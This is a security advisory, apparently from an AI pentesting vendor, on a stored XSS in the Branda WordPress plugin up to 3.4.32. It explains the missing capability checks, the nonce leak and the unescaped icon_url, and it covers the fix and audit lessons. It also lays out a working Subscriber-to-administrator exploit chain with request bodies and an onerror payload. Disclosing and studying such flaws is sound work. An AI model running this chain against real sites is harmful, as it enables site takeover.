CVE-2026-102376 The capability check that only the reader runs in Branda

Intrudify's autonomous pentesting engine discovered a stored cross-site scripting vulnerability in Branda, affecting all versions up to and including 3.4.32. The custom admin menu is driven by three AJAX handlers registered on three consecutive lines and sharing one nonce. The handler that reads the menu asks whether the caller may configure Branda. The two that write and delete it ask only for the nonce, and that nonce is printed for any logged-in user who asks for it the right way.

Discovered by
Intrudify autonomous engine
Validated & reported by
Disclosure
30 September 2026
Severity
High · CVSS 7.1
Vulnerability class
Stored XSS, CWE-79
Affected
Branda ≤ 3.4.32
Fixed in
3.4.33
Active installs
20,000+
Attacker privilege
Subscriber, the lowest role WordPress ships
User interaction
None, the payload runs when an administrator opens any admin page
Precondition
Branda's Admin Menu module switched on

Summary

Branda is a white-labelling plugin by WPMU DEV. Its Admin Menu module replaces the WordPress sidebar with one the site owner builds per role, and the builder talks to the server over three AJAX endpoints. Intrudify's autonomous testing engine found that only one of the three asks who is calling.

The nonce those endpoints require is reachable from a Subscriber account. Branda decides which of its screens a request is for by reading $_REQUEST['page'], and WordPress decides whether the caller may see that screen by reading $_GET['page']. The same parameter name carried in a POST body is therefore invisible to the core check and visible to the plugin, so Branda prints its admin assets, nonce included, into a Dashboard the Subscriber is entitled to load.

With the nonce, one POST stores an icon URL against the administrator role. The renderer concatenates that value into an <img src="..."> attribute with no escaping, and Branda rebuilds the sidebar on every single admin page. The payload runs in the administrator's session the next time they open the backend.

Technical detail

Three handlers, one check

The module registers its endpoints together:

// inc/modules/admin/menu.php:60, all three registered together
add_action( 'wp_ajax_branda_admin_bar_load_menu', array( $this, 'ajax_load_menu' ) );
add_action( 'wp_ajax_branda_admin_bar_save_menu', array( $this, 'ajax_save_menu' ) );
add_action( 'wp_ajax_branda_admin_bar_remove_menu', array( $this, 'ajax_delete_menu' ) );

All three are wp_ajax_ actions with no nopriv twin, so the floor is any logged-in user and the ceiling is whatever the handler itself enforces.

// line 890, the reader
public function ajax_load_menu() {
    check_ajax_referer( 'branda-custom-admin-menu' );

    if ( ! Branda_Permissions::get_instance()->current_user_has_access() ) {
        wp_send_json_error( array( 'message' => esc_html__( 'Access denied', 'ub' ) ) );
    }
    ...

// line 1112, the writer
public function ajax_save_menu() {
    check_ajax_referer( 'branda-custom-admin-menu' );

    $data      = stripslashes_deep( $_POST );
    $menu_key  = sanitize_key( branda_get_array_value( $data, 'key' ) );
    $menu_json = branda_get_array_value( $data, 'menu' );
    ...
    $this->set_menu_settings( $menu_key, $menu );   // writes the option

check_ajax_referer() answers one question: did this request originate from a page of ours. current_user_has_access() answers a different one: may this user configure Branda. The reader asks both. The writer asks the first and acts on the answer to a question it never asked.

ajax_delete_menu() at line 1140 has the same shape. Nonce, sanitize_key() on the key, then delete_menu_settings( $menu_key ), with nothing in between. A Subscriber can erase the custom menu configured for any role on the site.

The nonce any logged-in user can read

Branda works out which of its own screens it is on from an init hook:

// inc/class-branda-admin.php:1599, reached from an init hook at line 62
if (
    isset( $_REQUEST['page'] )
    && preg_match( '/branding_group_(.+)$/', $_REQUEST['page'], $matches )
) {
    if ( array_key_exists( $matches[1], $this->submenu ) ) {
        $this->group = $matches[1];
    }
}

$_REQUEST merges the query string, the request body and cookies into one array. WordPress resolves the plugin page from $_GET['page'] in wp-admin/admin.php and calls wp_die() there when the caller cannot access it, and that happens before admin_enqueue_scripts fires.

inc/class-branda-helper.php:4029 then enqueues the module's admin assets whenever the resolved group matches, with no question about who is asking, and the Admin Menu module's enqueue ends here:

// inc/modules/admin/menu.php:324, the end of the module's asset enqueue
wp_localize_script(
    'branda-custom-admin-menu',
    'branda_custom_menu',
    array(
        ...
        'nonce'          => wp_create_nonce( 'branda-custom-admin-menu' ),
        'user_id'        => get_current_user_id(),
        'role_menu_keys' => $this->get_subordinates_roles(),
    )
);

So page=branding_group_admin in a POST body to /wp-admin/index.php produces the Dashboard, which a Subscriber is entitled to see, with Branda's nonce printed into it. The identical parameter in the query string dies on the core check.

The sink

// inc/modules/admin/custom-admin-menu/branda-admin-menu-builder.php:377
} elseif ( $icon_type === 'url' ) {
    $icon_url = $this->get_menu_item_setting( $menu_item_settings, 'icon_url' );

    if ( $icon_url ) {
        $image_exists = true;
        $image        = '<img src="' . $icon_url . '" alt="" />';
        $image_class  = 'dashicons-before';
    }

The value is concatenated into a double-quoted attribute. x" onerror="... closes src and opens an event handler, and it contains no < and no > anywhere.

The module installs itself over the WordPress menu on every request: the parent_file filter at line 65 opens an output buffer and the adminmenu action at line 66 throws that buffer away and renders Branda's menu in its place. Every admin page an administrator loads goes through it.

The sanitiser whose output is discarded

sanitize_custom_admin_menu() runs on the submitted menu before it is stored, and reading the handler alone leaves the impression that sanitize_text_field() governs every field. It does not reach the database:

// inc/modules/admin/menu.php:1153
foreach ( $menu as $menu_item_id => $menu_item_settings ) {

    foreach ( $menu_item_settings as $setting_key => $setting_value ) {
        if ( $setting_key !== 'submenu' ) {
            if ( $setting_key === 'custom_url' && ! empty( $setting_value ) ) {
                if ( sanitize_url( $setting_value ) !== $setting_value ) {
                    return array();   // a rejection, and it still bites
                }
                $sanitized_setting_value = sanitize_url( $setting_value );
            } else {
                $sanitized_setting_value = sanitize_text_field( $setting_value );
            }
            $menu[ $menu_item_id ][ $setting_key ] = $sanitized_setting_value;
        }
    }

    $extras = array_diff_key( $this->menu_item_extras(), $this->build_menu_item_settings_array() );

    // Remove any 'extra' items not meant for saving
    $menu[ $menu_item_id ] = array_diff_key(
        $menu_item_settings,    // the copy foreach bound, never written to
        $extras
    );
}

The inner loop writes each cleaned value into $menu[ $menu_item_id ]. The statement below the loop replaces that whole entry with $menu_item_settings, which foreach bound by value at the top and which nothing has written to. Every value the loop computed is thrown away on the next line.

The distinction that survives is between a validator and a transformer. custom_url aborts the entire save with return array() from inside the loop, before the overwrite, so a rejection still rejects. sanitize_text_field() returns a rewritten string, and the rewrite is what gets discarded. WPMU DEV changed one argument in 3.4.33 and amended the comment above it:

// 3.4.33, inc/modules/admin/menu.php:1212
-// Remove any 'extra' items not meant for saving
+// Remove any 'extra' items not meant for saving. Keep the sanitized values.
 $menu[ $menu_item_id ] = array_diff_key(
-    $menu_item_settings,
+    $menu[ $menu_item_id ],
     $extras
 );

The chain

  1. A Subscriber POSTs page=branding_group_admin to /wp-admin/index.php and reads branda_custom_menu.nonce out of the response.
  2. The same account POSTs to admin-ajax.php with action=branda_admin_bar_save_menu, that nonce, key=administrator, and a menu whose icon_url carries the payload. The item id is menu_item_ followed by the first twelve characters of base_convert( md5( $slug ), 16, 32 ), which for index.php is menu_item_42ho017e7jo0.
  3. Any administrator opens any admin page. Branda rebuilds the sidebar, the broken image fires its onerror, and the payload executes in their session with no interaction beyond the page load.
  4. The payload reads the create-user nonce out of wp-admin/user-new.php in that session and posts a new administrator account.
// 1. read the nonce. The parameter travels in the POST BODY.
POST /wp-admin/index.php
Cookie: <subscriber session>
Content-Type: application/x-www-form-urlencoded

page=branding_group_admin

// the Dashboard renders, about 170 KB, and carries:
var branda_custom_menu = { ... "nonce":"<NONCE>" ... };

// 2. rewrite the administrator role's menu
POST /wp-admin/admin-ajax.php
Cookie: <subscriber session>

action=branda_admin_bar_save_menu&_wpnonce=<NONCE>&key=administrator
&menu={"menu_item_42ho017e7jo0":{"icon_type":"url","is_native":true,
        "icon_url":"x\" onerror=\"<ATTACKER JS>"}}

// {"success":true}

// 3. what every administrator's sidebar then renders
<img src="x" onerror="<ATTACKER JS>" alt="" />

Verification

We reproduced this on a clean WordPress installation running Branda 3.4.31 with the Admin Menu module switched on and every other setting left as shipped. The lab held an administrator and a subscriber account, and every step was driven over HTTP in a real browser as the principal that would perform it.

Step one measures both poles of the same parameter. GET /wp-admin/index.php?page=branding_group_admin as the Subscriber returned about 2.5 KB and the core refusal, with no nonce anywhere in it. The identical name and value placed in a POST body returned the full Dashboard, about 170 KB, carrying branda_custom_menu and its nonce. One parameter, two readers, two outcomes, and the gap between them is the whole of step one.

Step two returned {"success":true}, and the payload was then read back out of the administrator role's stored option to confirm what had landed there.

Step three was observed as the administrator. Opening /wp-admin/ fired alert(document.domain), and the live #adminmenu in the DOM carried <img src="x" onerror="...">. A second run of the chain with the takeover payload created a user named pwned holding the Administrator role, visible in Users.

The controls: no page parameter, a group name that does not exist, and the module switched off each produced zero nonces. A missing or wrong nonce left the option untouched, so check_ajax_referer() does the job it is there for. The endpoints are wp_ajax_ with no nopriv twin, so a logged-out request gets nothing and Subscriber is the floor. Deleting the option removed the payload from the sidebar.

Branda's own permission setting stayed at its default throughout, which lists user ID 1 and denies the Subscriber admin.php?page=branding. That boundary was intact for the whole run. The chain goes around it.

Impact

Subscriber is the role WordPress hands out to anyone who signs up on a site with open registration, and it is the role every WooCommerce customer and every membership site member holds. It carries no administrative capability at all.

From that account the chain reaches script execution in an administrator's authenticated session, on a page the administrator visits in the course of normal work, with no click required. An administrator session can create another administrator, and it can install a plugin, which is arbitrary PHP on the host. The payload validated in the lab takes the first of those routes and finishes in one page load.

The delete handler is worth counting separately. The same Subscriber can wipe the custom menu stored for any role, which removes a site owner's navigation configuration and needs no payload at all.

Remediation

Update Branda to 3.4.33 or later.

WPMU DEV closed every link in the chain in that release:

  • set_and_sanitize_variables() reads $_GET['page'] and requires current_user_has_access() before it resolves a group, so the POST-body route no longer selects a screen.
  • enqueue_admin_assets() returns immediately for a user without access, so the nonce is never printed for one.
  • A new user_can_edit_menu_key() guards load, save and delete alike.
  • icon_url joins custom_url in the strict sanitize_url() comparison at save time, and the renderer escapes with esc_url() at both <img> sites.
  • The sanitiser keeps the values it computes.

The new guard is worth reading past the capability check. It resolves the target key to a role and requires that role to sit at or below the caller's own level, so an Editor with Branda access cannot rewrite the administrator's menu either. The reported defect would have closed with a single current_user_can(). The fix answers the question that call leaves open, which is which rows this user may act on.

The wider lesson

One name, two readers. WordPress reads page out of $_GET and Branda reads it out of $_REQUEST, so the core capability check and the plugin's screen detection disagreed about which screen the request was even for. $_REQUEST merges three channels that carry different guarantees, and the merge is invisible at the call site. Any time a plugin keys off the same parameter that core routes on, the two have to read it from the same place or the gap between them is reachable.

The sibling that agrees is the other half. ajax_load_menu() holds a textbook capability check, so a reviewer looking at the module's handlers one at a time finds the right pattern in the file and moves on. The three registrations sit on three consecutive lines, and reading them together is what shows that one of the three enforces anything. When endpoints are registered as a group, audit them as a group: the question is which of these handlers performs the check, and the answer should never be a subset.

Last, a function named for sanitising reads as a defence in any audit that greps for sanitize_text_field. The only way to know whether a sanitiser runs is to follow the value it returns to the place it is stored. This one computed the right answer and dropped it one line later, and it did so for eight fields on every save for as long as the function existed.

Disclosure timeline

  • 2026-09-18 Vulnerability identified and full chain validated by Intrudify, reported via Patchstack
  • 2026-09-28 Fixed release 3.4.33 published by WPMU DEV
  • 2026-09-30 Public disclosure · CVE-2026-102376 assigned

Questions

What is CVE-2026-102376?

CVE-2026-102376 is a stored cross-site scripting vulnerability in the Branda WordPress plugin, versions 3.4.32 and earlier, reachable by any user holding a Subscriber account. It was discovered autonomously by the Intrudify AI penetration testing engine. The handler that saves Branda's custom admin menu checks the request nonce and never checks the caller's capability, and the icon URL it stores is written into the admin sidebar with no escaping.

Who can exploit CVE-2026-102376, and does the victim have to do anything?

Any logged-in user at Subscriber level or above. The nonce the handler requires is printed for any logged-in user who sends Branda's page parameter in the body of a POST to an admin screen they are allowed to load. The administrator does nothing unusual: Branda rebuilds the admin menu on every backend page, so the payload runs as soon as they open one.

How do I fix CVE-2026-102376?

Update Branda to version 3.4.33 or later. WPMU DEV added a capability and role-level check to the handlers that save and delete the menu, made the screen detection read only the query string and require access first, and escaped the icon URL both when it is stored and when it is printed.

References

More discovered CVEs from Intrudify

See what a pentest
finds in your app.